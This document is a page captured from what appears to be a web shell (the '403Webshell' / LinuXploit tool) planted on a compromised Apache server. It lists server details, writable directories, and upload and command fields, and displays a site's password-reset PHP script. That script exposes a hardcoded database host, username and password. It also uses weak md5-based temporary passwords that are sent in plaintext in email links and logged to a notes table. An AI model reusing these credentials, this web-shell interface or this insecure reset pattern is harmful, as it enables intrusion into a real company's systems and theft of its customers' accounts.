403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/coaching_sites/usbusinessfundingsolutions.com/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/coaching_sites/usbusinessfundingsolutions.com/ajax/forgot_password.php
<?php
	session_start();
	require_once($_SERVER['DOCUMENT_ROOT'].'/inc/mysql.php');
	$db = new MySQL('db.syndbs.com', 'lc2user', 'SYN57CRUZ', 'lc2synment_lc');
	
	$requestBody = file_get_contents("php://input");
	$data = json_decode($requestBody, true);
	if(!empty($data)) {
		$_POST['email'] = $data['email'];
	}
	
	if(!function_exists('random_password'))
	{
		function random_password($l = 8) {
			return substr(md5(uniqid(mt_rand(), true)), 0, $l);
		}
	}
	
	$res = $db->get_results("SELECT id,first,last,email
							FROM lc2synment_lc.lc_reseller
							WHERE email='".$db->clean($_POST['email'])."'");
	if(!empty($res)) {
		$crow = get_object_vars($res[0]);
		$password = random_password(8);
		$db->query("UPDATE lc2synment_lc.lc_reseller
					SET
						`password`=PASSWORD('".$db->clean($password)."')
						,`changed_pass`='0'
					WHERE id='".$db->clean($crow['id'])."'");
		$to = "\"{$crow['first']} {$crow['last']}\" <{$crow['email']}>";
		$subject = "US Business Funding Solutions Password Reset";
		$headers = "MIME-Version: 1.0\r\n"; 
		$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
		$headers .= "From: \"US Business Funding Solutions\" <support@usbusinessfundingsolutions.com>\r\n";
		$body = "<p>Dear {$crow['first']} {$crow['last']},</p><br />
		<p>Your password for US Business Funding Solutions Online Learning Center has been reset.</p>
		<p>Login information:</p>
		<p>Login Page:  <a href=\"https://usbusinessfundingsolutions.com/login.php?email=".urlencode($crow['email'])."&p={$password}\">https://usbusinessfundingsolutions.com/login.php?email=".urlencode($crow['email'])."&p={$password}</a></p>
		<p>Username:  {$crow['email']}<br />
		Temporary Password:  {$password}</p><br />

		<p>If you have any questions, please don't hesitate to use our email support within the learning center by clicking on the support link.  We will respond to your email questions as quickly as possible.</p>

		<p>We look forward to working with you!</p>

		<p>US Business Funding Solutions<br />
		support@usbusinessfundingsolutions.com</p>";
		//mail($to,$subject,$body,"From:\"US Business Funding Solutions\" <support@usbusinessfundingsolutions.com>\r\nMIME-Version:1.0\r\nContent-type:text/html; charset=iso-8859-1\r\n");
		require_once($_SERVER['DOCUMENT_ROOT']."/member/php/mailgun.php");
		//$to = $crow['email'];
		$from = 'support@usbusinessfundingsolutions.com';
		$html_body = $body;
		$cc = '';
		$bcc = '';
		$tag = 'Coaching Reset Password';
		$site_code = 'synment';
		$client_id = $_POST['rid'];
		$attchments = array();
		mailgun_send_message($to,$from,$subject,$html_body,1,$tag,$cc,$bcc,$site_code,$client_id,$attachments);
		$db->query("INSERT INTO surfcrm.notes
					(
						timeclock_id
						,site_code
						,client_type
						,client_id
						,`date`
						,type
						,note
						,username
						,first_name
						,last_name
					) VALUES (
						'0'
						,'synment'
						,'clients'
						,'".$db->clean($client_id)."'
						,NOW()
						,'Password Reset'
						,'".$db->clean($html_body)."'
						,'Client'
						,'".$db->clean($crow['first'])."'
						,'".$db->clean($crow['last'])."'
					)");
		echo json_encode(array('status'=>'success'));
		die();
	} else {
		$error = "There was a problem finding this client.";
		echo json_encode(array('status'=>'error','error'=>$error));
		die();
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit